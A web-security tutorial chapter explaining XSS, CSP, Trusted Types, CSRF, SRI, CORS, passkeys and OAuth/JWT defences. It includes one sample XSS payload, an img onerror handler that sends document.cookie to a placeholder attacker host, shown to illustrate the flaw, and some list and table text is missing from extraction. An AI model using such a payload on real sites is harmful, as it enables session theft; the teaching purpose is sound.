Web Security in Depth
Every feature you ship is also an attack surface. A comment box is a place to inject script. A cookie is a credential someone else would love to ride. A <script src> pointing at a CDN is a promise that the CDN will never be compromised. Security isn’t a module you bolt on at the end — it’s a set of assumptions baked into every line that touches untrusted input.
This chapter walks the threats that actually hit web apps, and the concrete browser mechanisms that stop them. The recurring question is always the same: whose code is running, with whose authority, over which data? Get in the habit of asking it and most vulnerabilities announce themselves.
Cross-site scripting (XSS)
XSS is the vulnerability where an attacker gets their JavaScript to run in your origin. That’s catastrophic, because script running in your origin can do anything the logged-in user can: read the DOM, exfiltrate the session, make authenticated requests, rewrite the page. The same-origin policy that normally isolates sites is worthless once the attacker’s code is executing as your site.
It comes in three shapes, distinguished by where the payload lives.
location.hash) and writes it into a dangerous sink like innerHTML.Here’s the shape of the mistake. A page renders a username without treating it as untrusted:
// DANGEROUS: name came from the user
profileEl.innerHTML = "Welcome, " + name;
If name is <img src=x onerror="fetch('//evil.tld/c?'+document.cookie)">, the browser parses that as real HTML, fires the onerror handler, and ships the cookie to the attacker. The bug isn’t the data — it’s that the data crossed from string to markup without anyone deciding it was allowed to.
The injection path, and where to break it
An XSS attack is a pipeline: untrusted input flows through your code into a sink that executes it. You don’t need to block every stage — breaking any one link stops the attack. Good systems break several, so a mistake in one layer doesn’t become a breach.
Layer one: encode for the context
The primary fix is boring and reliable: never build HTML by string concatenation with untrusted data. Let the DOM API treat data as data.
// SAFE: textContent never parses markup
profileEl.textContent = "Welcome, " + name;
textContent (and createTextNode, and setting .value on inputs) can’t produce elements — a <script> in the string shows up as the literal characters <script>. When you must place data into an attribute or a URL, encode for that context: HTML-escape for element content, attribute-escape inside a quoted attribute, and validate the scheme for URLs (reject javascript:). Template engines that auto-escape by default (React’s JSX, Svelte, most server templates) handle the common case for you — the danger is the escape hatch.
Layer one-and-a-half: sanitize when you need real HTML
Sometimes the requirement genuinely is “render the user’s formatted text.” Then you parse the HTML, walk it, and strip anything dangerous — event handlers, <script>, javascript: URLs, <iframe> — keeping a safe allowlist of tags. Don’t write this yourself; the edge cases (mutation XSS, weird encodings, SVG) will beat you. The mature library is DOMPurify:
import DOMPurify from "dompurify";
// returns a string with only safe tags/attributes left
el.innerHTML = DOMPurify.sanitize(userHtml);
The platform is growing a native answer too. The HTML Sanitizer API — Element.setHTML() and Document.parseHTML() — parses and sanitizes in one step, with a configurable allowlist. As of mid-2026 it has shipped in Chromium and Firefox but is not yet Baseline, so keep a library fallback.
// Native sanitizer — safe by default, but not Baseline yet (feature-detect)
if (Element.prototype.setHTML) {
el.setHTML(userHtml); // dangerous markup dropped during parse
}
Content Security Policy
Encoding fixes the code you got right. CSP is the seatbelt for the code you got wrong. It’s an HTTP response header that tells the browser which sources of script, style, images, and other resources are allowed to load and run for this page. Even if an attacker injects a <script>, the browser refuses to execute it unless it satisfies the policy.
A modern, strict CSP does not try to allowlist every CDN by name — those lists get long and one lax entry ruins everything. Instead it trusts scripts by a per-response nonce or a content hash, and blocks everything inline by default:
Content-Security-Policy:
script-src 'nonce-r4nd0m2026' 'strict-dynamic';
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';
Each <script> you legitimately emit carries the matching nonce, which the server regenerates on every response:
<script nonce="r4nd0m2026">
startApp();
</script>
A few pieces worth knowing:
'nonce-…'— a random, unguessable value that must change every response. An injected script can’t know it, so it can’t opt in.'strict-dynamic'— lets a script you already trusted (via nonce) load further scripts it creates, without you having to allowlist their origins. This is what makes nonce-based CSP practical with bundlers and third-party loaders.- Hashes — for static inline scripts you can list
'sha256-…'of the exact script body instead of a nonce. Good when you can’t inject a per-request nonce (fully static hosting). 'unsafe-inline'/'unsafe-eval'— the escape hatches that defeat the point. Presence of a nonce or hash makes browsers ignore'unsafe-inline', which is a handy backward-compatibility trick: old browsers honor'unsafe-inline', new ones ignore it in favor of the nonce.object-src 'none'andbase-uri 'none'— close two classic bypasses (Flash-era plugins, and<base>tag hijacking of relative script URLs).
Content-Security-Policy-Report-Only:
script-src 'nonce-r4nd0m2026' 'strict-dynamic'; report-to csp
Reporting-Endpoints: csp="https://example.com/csp-reports"
Two more directives earn their keep. upgrade-insecure-requests rewrites http:// subresource URLs to https:// so a stray insecure asset doesn’t become a downgrade foothold. And frame-ancestors 'none' (or a specific origin) is the modern anti-clickjacking control that supersedes X-Frame-Options.
Trusted Types: closing the DOM-XSS holes
CSP tames loading script. It does much less for DOM-based XSS, where the problem is your own trusted code copying a tainted string into a dangerous sink like innerHTML. There are dozens of these sinks — innerHTML, outerHTML, insertAdjacentHTML, document.write, iframe.srcdoc, script.src, eval, setTimeout with a string — and one forgotten one is a bug. Auditing them by hand doesn’t scale.
Trusted Types flips the model. With enforcement on, those sinks refuse to accept plain strings at all. They only accept a special typed object (TrustedHTML, TrustedScript, TrustedScriptURL) that could only have been produced by a policy you wrote. The dangerous assignment becomes a compile-time-style guarantee enforced at runtime: every value entering a sink went through one auditable choke point.
You turn it on with a CSP directive, and you define the policies your app is allowed to create:
Content-Security-Policy:
require-trusted-types-for 'script';
trusted-types app-html 'allow-duplicates';
// createPolicy throws if "app-html" isn't in the trusted-types allowlist
const policy = trustedTypes.createPolicy("app-html", {
createHTML: (input) => DOMPurify.sanitize(input),
});
// The only way to get a value innerHTML will now accept:
el.innerHTML = policy.createHTML(userHtml); // ✅ TrustedHTML
el.innerHTML = userHtml; // ❌ throws TypeError under enforcement
createPolicy(name, options) takes any of three transforms — createHTML, createScript, createScriptURL — each a function from a string to a (sanitized) string; the browser wraps the result in the matching trusted type. There’s also a special default policy: name a policy "default" and it runs automatically on any bare string handed to a sink, which is a pragmatic way to retrofit a large legacy codebase without rewriting every call site.
Cross-site request forgery (CSRF)
XSS abuses trust in a site’s origin. CSRF abuses trust in a user’s session. The insight: the browser attaches your cookies to a request based on its destination, not on who initiated it. So a form on evil.tld can POST to bank.com/transfer, and the browser cheerfully includes your bank.com session cookie. If the bank only checks “is there a valid session cookie?”, the forged transfer succeeds — the attacker never saw your cookie, they just borrowed its authority.
SameSite cookies
The first-line defense is a cookie attribute (covered more in cookies). SameSite tells the browser not to attach a cookie to requests that originate from another site:
Set-Cookie: session=…; HttpOnly; Secure; SameSite=Lax
Strict— never sent on any cross-site request. Maximum protection, but a link from an email to your site arrives logged-out, which is jarring.Lax— the sensible default (and the browser default when you omit the attribute). Cookies ride along on top-level GET navigations (clicking a link) but are withheld from cross-site POSTs,fetch, and form submissions — exactly the CSRF-prone cases.None— sent on all cross-site requests; requiresSecure. Only for cookies you genuinely need in a third-party context.
Anti-CSRF tokens
The complete defense is a secret the attacker’s page cannot read. The server embeds an unpredictable CSRF token in the legitimate page; the real form submits it, and the server rejects any state-changing request that lacks the matching token. The attacker’s cross-site page can forge the cookie (it’s automatic) but not the token — the same-origin policy stops evil.tld from reading bank.com’s HTML to fish it out.
Two common patterns:
- Synchronizer token — the server stores the expected token server-side (in the session) and compares. Rock solid, needs server state.
- Double-submit cookie — the server sends the token in both a cookie and the page body; on submit it checks that the two match. No server-side storage, but you must sign or bind the token (a
__Host-prefixed cookie) so a subdomain attacker can’t set their own.
// double-submit: read the token the server set, echo it in the header
const token = getCookie("csrf");
await fetch("/transfer", {
method: "POST",
headers: { "X-CSRF-Token": token },
body: JSON.stringify({ amount, to }),
});
Subresource Integrity: trust, but verify the bytes
When you load a script from a CDN, you’re trusting that the CDN — and everyone with write access to it — will never serve tampered code. That’s a supply-chain risk: compromise the CDN once and you’ve compromised every site embedding it. Subresource Integrity (SRI) removes the blind trust. You pin the exact hash of the file you reviewed; the browser downloads the resource, hashes it, and refuses to execute if the bytes don’t match.
<script
src="https://cdn.example.com/[email protected]/chart.min.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>
Generate the hash from the exact file you audited:
cat chart.min.js | openssl dgst -sha384 -binary | openssl base64 -A
Two gotchas. First, cross-origin SRI requires crossorigin="anonymous" — without it the browser won’t have the CORS response it needs to read the bytes for hashing, and the load fails. Second, SRI pins an exact build: when the vendor ships a patch, the hash changes and your tag breaks. That’s the tradeoff — pin a version you reviewed, and update deliberately. For assets you control, self-hosting sidesteps the CDN trust question entirely; SRI shines for third-party scripts you can’t move in-house.
CORS at the trust level
You’ve likely met CORS as the thing that blocks a fetch. Read it the other way: CORS is how a server opts in to letting other origins read its responses. The default — no Access-Control-Allow-Origin header — is the secure one. The browser lets cross-origin requests go out (that’s why CSRF exists) but hides the response from the calling script unless the server explicitly allows that origin.
The security-relevant mistakes are all about being too generous:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Passwordless auth: WebAuthn and passkeys
Passwords are the softest target in most systems — phished, reused, dumped in breaches. WebAuthn (the W3C Web Authentication API, the browser half of FIDO2) replaces the shared secret with public-key cryptography. The user’s device holds a private key that never leaves it; the server stores only the matching public key. A passkey is a WebAuthn credential that syncs across a user’s devices via their platform (iCloud Keychain, Google Password Manager) — the consumer-friendly packaging of the same primitive.
The magic property is that it’s phishing-resistant by construction. The credential is bound to your site’s origin. A look-alike domain can’t trigger a signature for the real site, because the browser scopes the operation to the actual origin — so there’s no secret for the fake page to harvest.
The browser API is the Credential Management API with a publicKey option. Registration calls navigator.credentials.create(); login calls navigator.credentials.get():
// LOGIN — the server first sends a fresh, random challenge (≥16 bytes)
const assertion = await navigator.credentials.get({
publicKey: {
challenge: challengeBytesFromServer, // ArrayBuffer, single-use
rpId: "example.com",
userVerification: "preferred",
allowCredentials: [{ id: credIdBytes, type: "public-key" }],
},
});
// assertion.response holds the signature + authenticatorData + clientDataJSON.
// Send them to the server, which verifies against the stored public key.
The challenge is what defeats replay: it’s random, single-use, and server-generated, so a captured assertion is worthless next time. Because the private key stays in the authenticator (a secure enclave or hardware key) and the signature is bound to rpId and origin, there’s no shared secret to steal, phish, or leak in a database breach. WebAuthn is broadly Baseline across current browsers; the rough edges are UX — account recovery, and multi-device credential sync — not the crypto.
OAuth2, OIDC, and JWTs
The other side of auth is delegation: “let this app act on my behalf without giving it my password.” That’s OAuth 2.0. Layered on top, OpenID Connect (OIDC) adds identity — an id_token that says who the user is. The tokens are usually JWTs: base64url-encoded JSON with a signature the server can verify.
For anything running in a browser or on mobile — public clients that can’t hold a secret — the correct flow is Authorization Code with PKCE. PKCE (Proof Key for Code Exchange) stops an intercepted authorization code from being redeemed by anyone but the app that started the flow.
The state parameter is a second must-have: a random value you send in step 1 and verify on the redirect, which prevents CSRF against the callback. And the tokens themselves need a home. This is where a lot of apps get it wrong.
A few JWT-specific pitfalls that bite in production:
- Always set an expiry (
exp). A JWT is a bearer token — whoever holds it is authenticated until it expires. Keep access tokens short (minutes), and rotate refresh tokens on every use so a stolen one is detectable when the old copy is replayed. - Verify the signature and the algorithm. Reject
alg: none, and don’t let the token dictate its own verification algorithm — the classic confusion attack swapsRS256forHS256and signs with the public key as the HMAC secret. - JWTs are readable, not secret. Anyone can base64-decode the payload. Never put anything private in the claims.
- You can’t un-issue a JWT. Statelessness is the whole point, but it means logout/revocation needs a short expiry plus a server-side denylist or rotating refresh tokens — the token itself stays valid until
expno matter what.
Putting it together: layers, not walls
No single control on this page is sufficient. The point is that they’re independent — each one guards a different trust boundary, so a slip in one doesn’t cascade.
object-src ‘none’HttpOnly+SameSite cookies · CSRF tokensframe-ancestors · CORS allowlistSummary
- XSS is attacker script running in your origin. Break the injection pipeline at any stage: prefer
textContentoverinnerHTML, escape for the exact context, and sanitize (DOMPurify, or the emerging native Sanitizer API) when you must render user HTML. - CSP is your safety net for the XSS you missed. Use a strict, nonce-based
script-srcwith'strict-dynamic',object-src 'none', andbase-uri 'none'. Roll it out inReport-Onlyfirst. - Trusted Types systematically kills DOM-XSS by making dangerous sinks reject raw strings — values must flow through an auditable policy. It reached Baseline (Feb 2026), so treat it as a hardening layer over, not a replacement for, encoding.
- CSRF abuses your session cookie’s automatic attachment. Defend with
SameSitecookies and an anti-CSRF token (synchronizer or double-submit) — SameSite alone is defense in depth, not a full fix. - SRI pins the hash of third-party scripts so a compromised CDN can’t ship you tampered code. Remember
crossorigin="anonymous". - CORS is opt-in read access; the mistake is being too generous — never reflect arbitrary origins with credentials.
- Passkeys / WebAuthn replace phishable passwords with origin-bound public-key signatures; the private key never leaves the device, and a single-use challenge defeats replay.
- OAuth2 + OIDC delegate identity via Authorization Code + PKCE (plus
state). Keep access tokens short-lived and in memory, refresh tokens inHttpOnlycookies, and never trust a JWT’salgor store secrets in its claims. - Security is layers, not walls. Independent controls over distinct trust boundaries mean one mistake gets caught by the next.